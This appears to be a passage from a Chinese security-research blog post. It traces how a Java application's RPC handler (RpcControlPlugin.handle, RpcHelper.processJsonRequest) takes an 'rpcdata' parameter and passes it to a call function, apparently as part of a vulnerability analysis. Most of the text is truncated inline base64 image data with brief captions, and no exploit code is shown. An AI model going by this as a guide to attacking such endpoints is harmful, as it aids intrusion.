<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311104715-ab12dae6-df51-1.png><img src=data:image/png;base64,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 truncated
<p>继续跟进getControlPlugin</p>
<p><a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311104719-adc9349c-df51-1.png><img src="data:image/png;base64,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 truncated
<p>然后调用RpcControlPlugin.handle</p>
<p><a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311104724-b0fb285a-df51-1.png><img src="data:image/png;base64,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<p>RpcHelper.processJsonRequest如下,获取rpcdata参数,用json存储,并传递给call函数</p>
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311104735-b75de75a-df51-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA0gAAAEWCAYAAABc/Ld1AAEAAElEQVR4nOy9Z3gc2Xmg+56qrs7d6EbOGQQIMII5kzOcnEdhRlmWg7xO63VYX/tutr2+69312l5blm3ZlqxkhQmaGWmiJnACcw5gBkHk1N3onKrO/VGNJsA8oxmJlup9HpBAV9epk+t85wtH9Pb2SiwsLCwsLCwsLCwsLP4V4ff7yefzJJPJ9zVdWyaTeV8TtLCwsLCwsLCwsLCw+KDJ5/Pk83neb3lGeV9Ts7CwsLCwsLCwsLCw+FeMJSBZWFhYWFhYWFhYWFgUuKUFpJ8G56h/LWWQ8l9LTi3+NSOlRAiBptl/0lmxsLCwsLhFURQVm6ZZa5Ofcn7c7SsNA5tmx2bTbvhd2weZEUOCECAu+1wCc+tEufwLgCqg1m0QzQmiWfGBCxqz6V8lK+/5Pk2BCpcklYdw5t2mfLWHSaSUxWcqinLZZfOKEO/uWYqiUllbTywSJhGP/uj5/BlANy71SCHEVfvw+4EEjB/Ts94PpASuMuZnqW1opnvZaoYvnqfv8L7ZuxBCKdwv5/09+9m1+vT1rl07j3LeWHm3978bDMMo/v5ennW18s3N/3tN98eHRMp3Pyf9a+K99MHrpQWX6sswDBQhzBep+Y3r1ud7Gg+GgflWER9oX5o37gChvLv92Wu936Q0iuuJ95Kuxa2J11/C0tUbic2EOXlkP+nUu3PAv9rabHbteSu/QwGQEuMywWHu2Jz/DuPS+/IG9/0kuOacJARenx+X20N4epJ8LveB58XucLBszWaa2jo5fnAPxw/uvm7dfGACkk2BB5oy7JvUGIzPn7CWluXZWJNFAmMJG88N2MkZ8++v9+o81p7k7IzGDwYcpPUProEl0OIz0BT